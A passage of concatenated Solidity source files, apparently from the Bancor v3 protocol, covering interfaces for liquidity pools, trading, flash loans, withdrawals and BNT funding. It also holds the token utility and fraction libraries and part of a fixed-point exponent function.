_masterVault.revokeRole(ROLE_ASSET_MANAGER, poolCollectionAddress);
_externalProtectionVault.revokeRole(ROLE_ASSET_MANAGER, poolCollectionAddress);
}
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUpgradeable } from "../../utility/interfaces/IUpgradeable.sol";
import { Token } from "../../token/Token.sol";
import { IPoolCollection } from "../../pools/interfaces/IPoolCollection.sol";
import { IPoolToken } from "../../pools/interfaces/IPoolToken.sol";
/**
* @dev Flash-loan recipient interface
*/
interface IFlashLoanRecipient {
/**
* @dev a flash-loan recipient callback after each the caller must return the borrowed amount and an additional fee
*/
function onFlashLoan(
address caller,
IERC20 erc20Token,
uint256 amount,
uint256 feeAmount,
bytes memory data
) external;
}
/**
* @dev Bancor Network interface
*/
interface IBancorNetwork is IUpgradeable {
/**
* @dev returns the set of all valid pool collections
*/
function poolCollections() external view returns (IPoolCollection[] memory);
/**
* @dev returns the most recent collection that was added to the pool collections set for a specific type
*/
function latestPoolCollection(uint16 poolType) external view returns (IPoolCollection);
/**
* @dev returns the set of all liquidity pools
*/
function liquidityPools() external view returns (Token[] memory);
/**
* @dev returns the respective pool collection for the provided pool
*/
function collectionByPool(Token pool) external view returns (IPoolCollection);
/**
* @dev returns whether the pool is valid
*/
function isPoolValid(Token pool) external view returns (bool);
/**
* @dev creates a new pool
*
* requirements:
*
* - the pool doesn't already exist
*/
function createPool(uint16 poolType, Token token) external;
/**
* @dev creates new pools
*
* requirements:
*
* - none of the pools already exists
*/
function createPools(uint16 poolType, Token[] calldata tokens) external;
/**
* @dev migrates a list of pools between pool collections
*
* notes:
*
* - invalid or incompatible pools will be skipped gracefully
*/
function migratePools(Token[] calldata pools) external;
/**
* @dev deposits liquidity for the specified provider and returns the respective pool token amount
*
* requirements:
*
* - the caller must have approved the network to transfer the tokens on its behalf (except for in the
* native token case)
*/
function depositFor(
address provider,
Token pool,
uint256 tokenAmount
) external payable returns (uint256);
/**
* @dev deposits liquidity for the current provider and returns the respective pool token amount
*
* requirements:
*
* - the caller must have approved the network to transfer the tokens on its behalf (except for in the
* native token case)
*/
function deposit(Token pool, uint256 tokenAmount) external payable returns (uint256);
/**
* @dev deposits liquidity for the specified provider by providing an EIP712 typed signature for an EIP2612 permit
* request and returns the respective pool token amount
*
* requirements:
*
* - the caller must have provided a valid and unused EIP712 typed signature
*/
function depositForPermitted(
address provider,
Token pool,
uint256 tokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
/**
* @dev deposits liquidity by providing an EIP712 typed signature for an EIP2612 permit request and returns the
* respective pool token amount
*
* requirements:
*
* - the caller must have provided a valid and unused EIP712 typed signature
*/
function depositPermitted(
Token pool,
uint256 tokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
/**
* @dev initiates liquidity withdrawal
*
* requirements:
*
* - the caller must have approved the contract to transfer the pool token amount on its behalf
*/
function initWithdrawal(IPoolToken poolToken, uint256 poolTokenAmount) external returns (uint256);
/**
* @dev initiates liquidity withdrawal by providing an EIP712 typed signature for an EIP2612 permit request
*
* requirements:
*
* - the caller must have provided a valid and unused EIP712 typed signature
*/
function initWithdrawalPermitted(
IPoolToken poolToken,
uint256 poolTokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
/**
* @dev cancels a withdrawal request
*
* requirements:
*
* - the caller must have already initiated a withdrawal and received the specified id
*/
function cancelWithdrawal(uint256 id) external;
/**
* @dev withdraws liquidity and returns the withdrawn amount
*
* requirements:
*
* - the provider must have already initiated a withdrawal and received the specified id
* - the specified withdrawal request is eligible for completion
* - the provider must have approved the network to transfer VBNT amount on its behalf, when withdrawing BNT
* liquidity
*/
function withdraw(uint256 id) external returns (uint256);
/**
* @dev performs a trade by providing the input source amount
*
* requirements:
*
* - the caller must have approved the network to transfer the source tokens on its behalf (except for in the
* native token case)
*/
function tradeBySourceAmount(
Token sourceToken,
Token targetToken,
uint256 sourceAmount,
uint256 minReturnAmount,
uint256 deadline,
address beneficiary
) external payable;
/**
* @dev performs a trade by providing the input source amount and providing an EIP712 typed signature for an
* EIP2612 permit request
*
* requirements:
*
* - the caller must have provided a valid and unused EIP712 typed signature
*/
function tradeBySourceAmountPermitted(
Token sourceToken,
Token targetToken,
uint256 sourceAmount,
uint256 minReturnAmount,
uint256 deadline,
address beneficiary,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev performs a trade by providing the output target amount
*
* requirements:
*
* - the caller must have approved the network to transfer the source tokens on its behalf (except for in the
* native token case)
*/
function tradeByTargetAmount(
Token sourceToken,
Token targetToken,
uint256 targetAmount,
uint256 maxSourceAmount,
uint256 deadline,
address beneficiary
) external payable;
/**
* @dev performs a trade by providing the output target amount and providing an EIP712 typed signature for an
* EIP2612 permit request and returns the target amount and fee
*
* requirements:
*
* - the caller must have provided a valid and unused EIP712 typed signature
*/
function tradeByTargetAmountPermitted(
Token sourceToken,
Token targetToken,
uint256 targetAmount,
uint256 maxSourceAmount,
uint256 deadline,
address beneficiary,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev provides a flash-loan
*
* requirements:
*
* - the recipient's callback must return *at least* the borrowed amount and fee back to the specified return address
*/
function flashLoan(
Token token,
uint256 amount,
IFlashLoanRecipient recipient,
bytes calldata data
) external;
/**
* @dev deposits liquidity during a migration
*/
function migrateLiquidity(
Token token,
address provider,
uint256 amount,
uint256 availableAmount,
uint256 originalAmount
) external payable;
/**
* @dev withdraws pending network fees
*
* requirements:
*
* - the caller must have the ROLE_NETWORK_FEE_MANAGER privilege
*/
function withdrawNetworkFees(address recipient) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IUpgradeable } from "../../utility/interfaces/IUpgradeable.sol";
import { Token } from "../../token/Token.sol";
error NotWhitelisted();
struct VortexRewards {
// the percentage of converted BNT to be sent to the initiator of the burning event (in units of PPM)
uint32 burnRewardPPM;
// the maximum burn reward to be sent to the initiator of the burning event
uint256 burnRewardMaxAmount;
}
/**
* @dev Network Settings interface
*/
interface INetworkSettings is IUpgradeable {
/**
* @dev returns the protected tokens whitelist
*/
function protectedTokenWhitelist() external view returns (Token[] memory);
/**
* @dev checks whether a given token is whitelisted
*/
function isTokenWhitelisted(Token pool) external view returns (bool);
/**
* @dev returns the BNT funding limit for a given pool
*/
function poolFundingLimit(Token pool) external view returns (uint256);
/**
* @dev returns the minimum BNT trading liquidity required before the system enables trading in the relevant pool
*/
function minLiquidityForTrading() external view returns (uint256);
/**
* @dev returns the global network fee (in units of PPM)
*
* notes:
*
* - the network fee is a portion of the total fees from each pool
*/
function networkFeePPM() external view returns (uint32);
/**
* @dev returns the withdrawal fee (in units of PPM)
*/
function withdrawalFeePPM() external view returns (uint32);
/**
* @dev returns the default flash-loan fee (in units of PPM)
*/
function defaultFlashLoanFeePPM() external view returns (uint32);
/**
* @dev returns the flash-loan fee (in units of PPM) of a pool
*/
function flashLoanFeePPM(Token pool) external view returns (uint32);
/**
* @dev returns the vortex settings
*/
function vortexRewards() external view returns (VortexRewards memory);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IPoolToken } from "../../pools/interfaces/IPoolToken.sol";
import { Token } from "../../token/Token.sol";
import { IUpgradeable } from "../../utility/interfaces/IUpgradeable.sol";
/**
* @dev the data struct representing a pending withdrawal request
*/
struct WithdrawalRequest {
address provider; // the liquidity provider
IPoolToken poolToken; // the locked pool token
Token reserveToken; // the reserve token to withdraw
uint32 createdAt; // the time when the request was created (Unix timestamp))
uint256 poolTokenAmount; // the locked pool token amount
uint256 reserveTokenAmount; // the expected reserve token amount to withdraw
}
/**
* @dev the data struct representing a completed withdrawal request
*/
struct CompletedWithdrawal {
IPoolToken poolToken; // the transferred pool token
uint256 poolTokenAmount; // the transferred pool token amount
}
/**
* @dev Pending Withdrawals interface
*/
interface IPendingWithdrawals is IUpgradeable {
/**
* @dev returns the lock duration
*/
function lockDuration() external view returns (uint32);
/**
* @dev returns the pending withdrawal requests count for a specific provider
*/
function withdrawalRequestCount(address provider) external view returns (uint256);
/**
* @dev returns the pending withdrawal requests IDs for a specific provider
*/
function withdrawalRequestIds(address provider) external view returns (uint256[] memory);
/**
* @dev returns the pending withdrawal request with the specified ID
*/
function withdrawalRequest(uint256 id) external view returns (WithdrawalRequest memory);
/**
* @dev initiates liquidity withdrawal
*
* requirements:
*
* - the caller must be the network contract
*/
function initWithdrawal(
address provider,
IPoolToken poolToken,
uint256 poolTokenAmount
) external returns (uint256);
/**
* @dev cancels a withdrawal request
*
* requirements:
*
* - the caller must be the network contract
* - the provider must have already initiated a withdrawal and received the specified id
*/
function cancelWithdrawal(address provider, uint256 id) external;
/**
* @dev completes a withdrawal request and returns the pool token and its transferred amount
*
* requirements:
*
* - the caller must be the network contract
* - the provider must have already initiated a withdrawal and received the specified id
* - the lock duration has ended
*/
function completeWithdrawal(
bytes32 contextId,
address provider,
uint256 id
) external returns (CompletedWithdrawal memory);
/**
* @dev returns whether the given request is ready for withdrawal
*/
function isReadyForWithdrawal(uint256 id) external view returns (bool);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IPoolToken } from "./IPoolToken.sol";
import { Token } from "../../token/Token.sol";
import { IVault } from "../../vaults/interfaces/IVault.sol";
// the BNT pool token manager role is required to access the BNT pool tokens
bytes32 constant ROLE_BNT_POOL_TOKEN_MANAGER = keccak256("ROLE_BNT_POOL_TOKEN_MANAGER");
// the BNT manager role is required to request the BNT pool to mint BNT
bytes32 constant ROLE_BNT_MANAGER = keccak256("ROLE_BNT_MANAGER");
// the vault manager role is required to request the BNT pool to burn BNT from the master vault
bytes32 constant ROLE_VAULT_MANAGER = keccak256("ROLE_VAULT_MANAGER");
// the funding manager role is required to request or renounce funding from the BNT pool
bytes32 constant ROLE_FUNDING_MANAGER = keccak256("ROLE_FUNDING_MANAGER");
/**
* @dev BNT Pool interface
*/
interface IBNTPool is IVault {
/**
* @dev returns the BNT pool token contract
*/
function poolToken() external view returns (IPoolToken);
/**
* @dev returns the total staked BNT balance in the network
*/
function stakedBalance() external view returns (uint256);
/**
* @dev returns the current funding of given pool
*/
function currentPoolFunding(Token pool) external view returns (uint256);
/**
* @dev returns the available BNT funding for a given pool
*/
function availableFunding(Token pool) external view returns (uint256);
/**
* @dev converts the specified pool token amount to the underlying BNT amount
*/
function poolTokenToUnderlying(uint256 poolTokenAmount) external view returns (uint256);
/**
* @dev converts the specified underlying BNT amount to pool token amount
*/
function underlyingToPoolToken(uint256 bntAmount) external view returns (uint256);
/**
* @dev returns the number of pool token to burn in order to increase everyone's underlying value by the specified
* amount
*/
function poolTokenAmountToBurn(uint256 bntAmountToDistribute) external view returns (uint256);
/**
* @dev mints BNT to the recipient
*
* requirements:
*
* - the caller must have the ROLE_BNT_MANAGER role
*/
function mint(address recipient, uint256 bntAmount) external;
/**
* @dev burns BNT from the vault
*
* requirements:
*
* - the caller must have the ROLE_VAULT_MANAGER role
*/
function burnFromVault(uint256 bntAmount) external;
/**
* @dev deposits BNT liquidity on behalf of a specific provider and returns the respective pool token amount
*
* requirements:
*
* - the caller must be the network contract
* - BNT tokens must have been already deposited into the contract
*/
function depositFor(
bytes32 contextId,
address provider,
uint256 bntAmount,
bool isMigrating,
uint256 originalVBNTAmount
) external returns (uint256);
/**
* @dev withdraws BNT liquidity on behalf of a specific provider and returns the withdrawn BNT amount
*
* requirements:
*
* - the caller must be the network contract
* - VBNT token must have been already deposited into the contract
*/
function withdraw(
bytes32 contextId,
address provider,
uint256 poolTokenAmount
) external returns (uint256);
/**
* @dev returns the withdrawn BNT amount
*/
function withdrawalAmount(uint256 poolTokenAmount) external view returns (uint256);
/**
* @dev requests BNT funding
*
* requirements:
*
* - the caller must have the ROLE_FUNDING_MANAGER role
* - the token must have been whitelisted
* - the request amount should be below the funding limit for a given pool
* - the average rate of the pool must not deviate too much from its spot rate
*/
function requestFunding(
bytes32 contextId,
Token pool,
uint256 bntAmount
) external;
/**
* @dev renounces BNT funding
*
* requirements:
*
* - the caller must have the ROLE_FUNDING_MANAGER role
* - the token must have been whitelisted
* - the average rate of the pool must not deviate too much from its spot rate
*/
function renounceFunding(
bytes32 contextId,
Token pool,
uint256 bntAmount
) external;
/**
* @dev notifies the pool of accrued fees
*
* requirements:
*
* - the caller must be the network contract
*/
function onFeesCollected(
Token pool,
uint256 feeAmount,
bool isTradeFee
) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IVersioned } from "../../utility/interfaces/IVersioned.sol";
import { Fraction112 } from "../../utility/FractionLibrary.sol";
import { Token } from "../../token/Token.sol";
import { IPoolToken } from "./IPoolToken.sol";
struct PoolLiquidity {
uint128 bntTradingLiquidity; // the BNT trading liquidity
uint128 baseTokenTradingLiquidity; // the base token trading liquidity
uint256 stakedBalance; // the staked balance
}
struct AverageRate {
uint32 blockNumber;
Fraction112 rate;
}
struct Pool {
IPoolToken poolToken; // the pool token of the pool
uint32 tradingFeePPM; // the trading fee (in units of PPM)
bool tradingEnabled; // whether trading is enabled
bool depositingEnabled; // whether depositing is enabled
AverageRate averageRate; // the recent average rate
uint256 depositLimit; // the deposit limit
PoolLiquidity liquidity; // the overall liquidity in the pool
}
struct WithdrawalAmounts {
uint256 totalAmount;
uint256 baseTokenAmount;
uint256 bntAmount;
}
// trading enabling/disabling reasons
uint8 constant TRADING_STATUS_UPDATE_DEFAULT = 0;
uint8 constant TRADING_STATUS_UPDATE_ADMIN = 1;
uint8 constant TRADING_STATUS_UPDATE_MIN_LIQUIDITY = 2;
struct TradeAmountAndFee {
uint256 amount; // the source/target amount (depending on the context) resulting from the trade
uint256 tradingFeeAmount; // the trading fee amount
uint256 networkFeeAmount; // the network fee amount (always in units of BNT)
}
/**
* @dev Pool Collection interface
*/
interface IPoolCollection is IVersioned {
/**
* @dev returns the type of the pool
*/
function poolType() external pure returns (uint16);
/**
* @dev returns the default trading fee (in units of PPM)
*/
function defaultTradingFeePPM() external view returns (uint32);
/**
* @dev returns all the pools which are managed by this pool collection
*/
function pools() external view returns (Token[] memory);
/**
* @dev returns the number of all the pools which are managed by this pool collection
*/
function poolCount() external view returns (uint256);
/**
* @dev returns whether a pool is valid
*/
function isPoolValid(Token pool) external view returns (bool);
/**
* @dev returns specific pool's data
*/
function poolData(Token pool) external view returns (Pool memory);
/**
* @dev returns the overall liquidity in the pool
*/
function poolLiquidity(Token pool) external view returns (PoolLiquidity memory);
/**
* @dev returns the pool token of the pool
*/
function poolToken(Token pool) external view returns (IPoolToken);
/**
* @dev converts the specified pool token amount to the underlying base token amount
*/
function poolTokenToUnderlying(Token pool, uint256 poolTokenAmount) external view returns (uint256);
/**
* @dev converts the specified underlying base token amount to pool token amount
*/
function underlyingToPoolToken(Token pool, uint256 tokenAmount) external view returns (uint256);
/**
* @dev returns the number of pool token to burn in order to increase everyone's underlying value by the specified
* amount
*/
function poolTokenAmountToBurn(
Token pool,
uint256 tokenAmountToDistribute,
uint256 protocolPoolTokenAmount
) external view returns (uint256);
/**
* @dev creates a new pool
*
* requirements:
*
* - the caller must be the network contract
* - the pool should have been whitelisted
* - the pool isn't already defined in the collection
*/
function createPool(Token token) external;
/**
* @dev deposits base token liquidity on behalf of a specific provider and returns the respective pool token amount
*
* requirements:
*
* - the caller must be the network contract
* - assumes that the base token has been already deposited in the vault
*/
function depositFor(
bytes32 contextId,
address provider,
Token pool,
uint256 tokenAmount
) external returns (uint256);
/**
* @dev handles some of the withdrawal-related actions and returns the withdrawn base token amount
*
* requirements:
*
* - the caller must be the network contract
* - the caller must have approved the collection to transfer/burn the pool token amount on its behalf
*/
function withdraw(
bytes32 contextId,
address provider,
Token pool,
uint256 poolTokenAmount
) external returns (uint256);
/**
* @dev returns the amounts that would be returned if the position is currently withdrawn,
* along with the breakdown of the base token and the BNT compensation
*/
function withdrawalAmounts(Token pool, uint256 poolTokenAmount) external view returns (WithdrawalAmounts memory);
/**
* @dev performs a trade by providing the source amount and returns the target amount and the associated fee
*
* requirements:
*
* - the caller must be the network contract
*/
function tradeBySourceAmount(
bytes32 contextId,
Token sourceToken,
Token targetToken,
uint256 sourceAmount,
uint256 minReturnAmount
) external returns (TradeAmountAndFee memory);
/**
* @dev performs a trade by providing the target amount and returns the required source amount and the associated fee
*
* requirements:
*
* - the caller must be the network contract
*/
function tradeByTargetAmount(
bytes32 contextId,
Token sourceToken,
Token targetToken,
uint256 targetAmount,
uint256 maxSourceAmount
) external returns (TradeAmountAndFee memory);
/**
* @dev returns the output amount and fee when trading by providing the source amount
*/
function tradeOutputAndFeeBySourceAmount(
Token sourceToken,
Token targetToken,
uint256 sourceAmount
) external view returns (TradeAmountAndFee memory);
/**
* @dev returns the input amount and fee when trading by providing the target amount
*/
function tradeInputAndFeeByTargetAmount(
Token sourceToken,
Token targetToken,
uint256 targetAmount
) external view returns (TradeAmountAndFee memory);
/**
* @dev notifies the pool of accrued fees
*
* requirements:
*
* - the caller must be the network contract
*/
function onFeesCollected(Token pool, uint256 feeAmount) external;
/**
* @dev migrates a pool to this pool collection
*
* requirements:
*
* - the caller must be the pool migrator contract
*/
function migratePoolIn(Token pool, Pool calldata data) external;
/**
* @dev migrates a pool from this pool collection
*
* requirements:
*
* - the caller must be the pool migrator contract
*/
function migratePoolOut(Token pool, IPoolCollection targetPoolCollection) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { Token } from "../../token/Token.sol";
import { IVersioned } from "../../utility/interfaces/IVersioned.sol";
import { IPoolCollection } from "./IPoolCollection.sol";
/**
* @dev Pool Migrator interface
*/
interface IPoolMigrator is IVersioned {
/**
* @dev migrates a pool and returns the new pool collection it exists in
*
* notes:
*
* - invalid or incompatible pools will be skipped gracefully
*
* requirements:
*
* - the caller must be the network contract
*/
function migratePool(Token pool) external returns (IPoolCollection);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Permit } from "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import { IERC20Burnable } from "../../token/interfaces/IERC20Burnable.sol";
import { Token } from "../../token/Token.sol";
import { IVersioned } from "../../utility/interfaces/IVersioned.sol";
import { IOwned } from "../../utility/interfaces/IOwned.sol";
/**
* @dev Pool Token interface
*/
interface IPoolToken is IVersioned, IOwned, IERC20, IERC20Permit, IERC20Burnable {
/**
* @dev returns the address of the reserve token
*/
function reserveToken() external view returns (Token);
/**
* @dev increases the token supply and sends the new tokens to the given account
*
* requirements:
*
* - the caller must be the owner of the contract
*/
function mint(address recipient, uint256 amount) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @dev extends the SafeERC20 library with additional operations
*/
library SafeERC20Ex {
using SafeERC20 for IERC20;
/**
* @dev ensures that the spender has sufficient allowance
*/
function ensureApprove(
IERC20 token,
address spender,
uint256 amount
) internal {
if (amount == 0) {
return;
}
uint256 allowance = token.allowance(address(this), spender);
if (allowance >= amount) {
return;
}
if (allowance > 0) {
token.safeApprove(spender, 0);
}
token.safeApprove(spender, amount);
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
/**
* @dev the main purpose of the Token interfaces is to ensure artificially that we won't use ERC20's standard functions,
* but only their safe versions, which are provided by SafeERC20 and SafeERC20Ex via the TokenLibrary contract
*/
interface Token {
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IERC20Permit } from "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import { SafeERC20Ex } from "./SafeERC20Ex.sol";
import { Token } from "./Token.sol";
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
/**
* @dev This library implements ERC20 and SafeERC20 utilities for both the native token and for ERC20 tokens
*/
library TokenLibrary {
using SafeERC20 for IERC20;
using SafeERC20Ex for IERC20;
error PermitUnsupported();
// the address that represents the native token reserve
address public constant NATIVE_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// the symbol that represents the native token
string private constant NATIVE_TOKEN_SYMBOL = "ETH";
// the decimals for the native token
uint8 private constant NATIVE_TOKEN_DECIMALS = 18;
/**
* @dev returns whether the provided token represents an ERC20 or the native token reserve
*/
function isNative(Token token) internal pure returns (bool) {
return address(token) == NATIVE_TOKEN_ADDRESS;
}
/**
* @dev returns the symbol of the native token/ERC20 token
*/
function symbol(Token token) internal view returns (string memory) {
if (isNative(token)) {
return NATIVE_TOKEN_SYMBOL;
}
return toERC20(token).symbol();
}
/**
* @dev returns the decimals of the native token/ERC20 token
*/
function decimals(Token token) internal view returns (uint8) {
if (isNative(token)) {
return NATIVE_TOKEN_DECIMALS;
}
return toERC20(token).decimals();
}
/**
* @dev returns the balance of the native token/ERC20 token
*/
function balanceOf(Token token, address account) internal view returns (uint256) {
if (isNative(token)) {
return account.balance;
}
return toIERC20(token).balanceOf(account);
}
/**
* @dev transfers a specific amount of the native token/ERC20 token
*/
function safeTransfer(
Token token,
address to,
uint256 amount
) internal {
if (amount == 0) {
return;
}
if (isNative(token)) {
payable(to).transfer(amount);
} else {
toIERC20(token).safeTransfer(to, amount);
}
}
/**
* @dev transfers a specific amount of the native token/ERC20 token from a specific holder using the allowance mechanism
*
* note that the function does not perform any action if the native token is provided
*/
function safeTransferFrom(
Token token,
address from,
address to,
uint256 amount
) internal {
if (amount == 0 || isNative(token)) {
return;
}
toIERC20(token).safeTransferFrom(from, to, amount);
}
/**
* @dev approves a specific amount of the native token/ERC20 token from a specific holder
*
* note that the function does not perform any action if the native token is provided
*/
function safeApprove(
Token token,
address spender,
uint256 amount
) internal {
if (isNative(token)) {
return;
}
toIERC20(token).safeApprove(spender, amount);
}
/**
* @dev ensures that the spender has sufficient allowance
*
* note that the function does not perform any action if the native token is provided
*/
function ensureApprove(
Token token,
address spender,
uint256 amount
) internal {
if (isNative(token)) {
return;
}
toIERC20(token).ensureApprove(spender, amount);
}
/**
* @dev performs an EIP2612 permit
*/
function permit(
Token token,
address owner,
address spender,
uint256 tokenAmount,
uint256 deadline,
Signature memory signature
) internal {
if (isNative(token)) {
revert PermitUnsupported();
}
// permit the amount the owner is trying to deposit. Please note, that if the base token doesn't support
// EIP2612 permit - either this call or the inner safeTransferFrom will revert
IERC20Permit(address(token)).permit(
owner,
spender,
tokenAmount,
deadline,
signature.v,
signature.r,
signature.s
);
}
/**
* @dev compares between a token and another raw ERC20 token
*/
function isEqual(Token token, IERC20 erc20Token) internal pure returns (bool) {
return toIERC20(token) == erc20Token;
}
/**
* @dev utility function that converts an token to an IERC20
*/
function toIERC20(Token token) internal pure returns (IERC20) {
return IERC20(address(token));
}
/**
* @dev utility function that converts an token to an ERC20
*/
function toERC20(Token token) internal pure returns (ERC20) {
return ERC20(address(token));
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
/**
* @dev burnable ERC20 interface
*/
interface IERC20Burnable {
/**
* @dev Destroys tokens from the caller.
*/
function burn(uint256 amount) external;
/**
* @dev Destroys tokens from a recipient, deducting from the caller's allowance
*
* requirements:
*
* - the caller must have allowance for recipient's tokens of at least the specified amount
*/
function burnFrom(address recipient, uint256 amount) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
uint32 constant PPM_RESOLUTION = 1000000;
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
struct Fraction {
uint256 n;
uint256 d;
}
struct Fraction112 {
uint112 n;
uint112 d;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { Fraction, Fraction112 } from "./Fraction.sol";
import { MathEx } from "./MathEx.sol";
// solhint-disable-next-line func-visibility
function zeroFraction() pure returns (Fraction memory) {
return Fraction({ n: 0, d: 1 });
}
// solhint-disable-next-line func-visibility
function zeroFraction112() pure returns (Fraction112 memory) {
return Fraction112({ n: 0, d: 1 });
}
/**
* @dev this library provides a set of fraction operations
*/
library FractionLibrary {
/**
* @dev returns whether a standard fraction is valid
*/
function isValid(Fraction memory fraction) internal pure returns (bool) {
return fraction.d != 0;
}
/**
* @dev returns whether a standard fraction is positive
*/
function isPositive(Fraction memory fraction) internal pure returns (bool) {
return isValid(fraction) && fraction.n != 0;
}
/**
* @dev returns whether a 112-bit fraction is valid
*/
function isValid(Fraction112 memory fraction) internal pure returns (bool) {
return fraction.d != 0;
}
/**
* @dev returns whether a 112-bit fraction is positive
*/
function isPositive(Fraction112 memory fraction) internal pure returns (bool) {
return isValid(fraction) && fraction.n != 0;
}
/**
* @dev reduces a standard fraction to a 112-bit fraction
*/
function toFraction112(Fraction memory fraction) internal pure returns (Fraction112 memory) {
Fraction memory reducedFraction = MathEx.reducedFraction(fraction, type(uint112).max);
return Fraction112({ n: uint112(reducedFraction.n), d: uint112(reducedFraction.d) });
}
/**
* @dev expands a 112-bit fraction to a standard fraction
*/
function fromFraction112(Fraction112 memory fraction) internal pure returns (Fraction memory) {
return Fraction({ n: fraction.n, d: fraction.d });
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { Fraction } from "./Fraction.sol";
import { PPM_RESOLUTION } from "./Constants.sol";
uint256 constant ONE = 1 << 127;
struct Uint512 {
uint256 hi; // 256 most significant bits
uint256 lo; // 256 least significant bits
}
struct Sint256 {
uint256 value;
bool isNeg;
}
/**
* @dev this library provides a set of complex math operations
*/
library MathEx {
error Overflow();
/**
* @dev returns `e ^ f`, where `e` is Euler's number and `f` is the input exponent:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function exp(Fraction memory f) internal pure returns (Fraction memory) {
uint256 x = MathEx.mulDivF(ONE, f.n, f.d);
uint256 y;
uint256 z;
uint256 n;
if (x >= (ONE << 4)) {
revert Overflow();
}
unchecked {
z = y = x % (ONE >> 3); // get the input modulo 2^(-3)
z = (z * y) / ONE;
n += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / ONE;
n += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / ONE;
n += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / ONE;
n += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / ONE;
n += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / ONE;
n += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / ONE;
n += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / ONE;
n += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / ONE;
n += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / ONE;
n += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / ONE;
n += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / ONE;
n += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / ONE;
n += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / ONE;
n += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / ONE;
n += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / ONE;
n += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / ONE;
n += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / ONE;
n += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / ONE;
n += z * 0x0000000000000001; // add y^20 * (20! / 20!)
n = n / 0x21c3677c82b40000 + y + ONE; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & (ONE >> 3)) != 0)
n = (n * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & (ONE >> 2)) != 0)
n = (n * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & (ONE >> 1)) != 0)
n = (n * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & (ONE << 0)) != 0)
n = (n * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & (ONE << 1)) != 0)
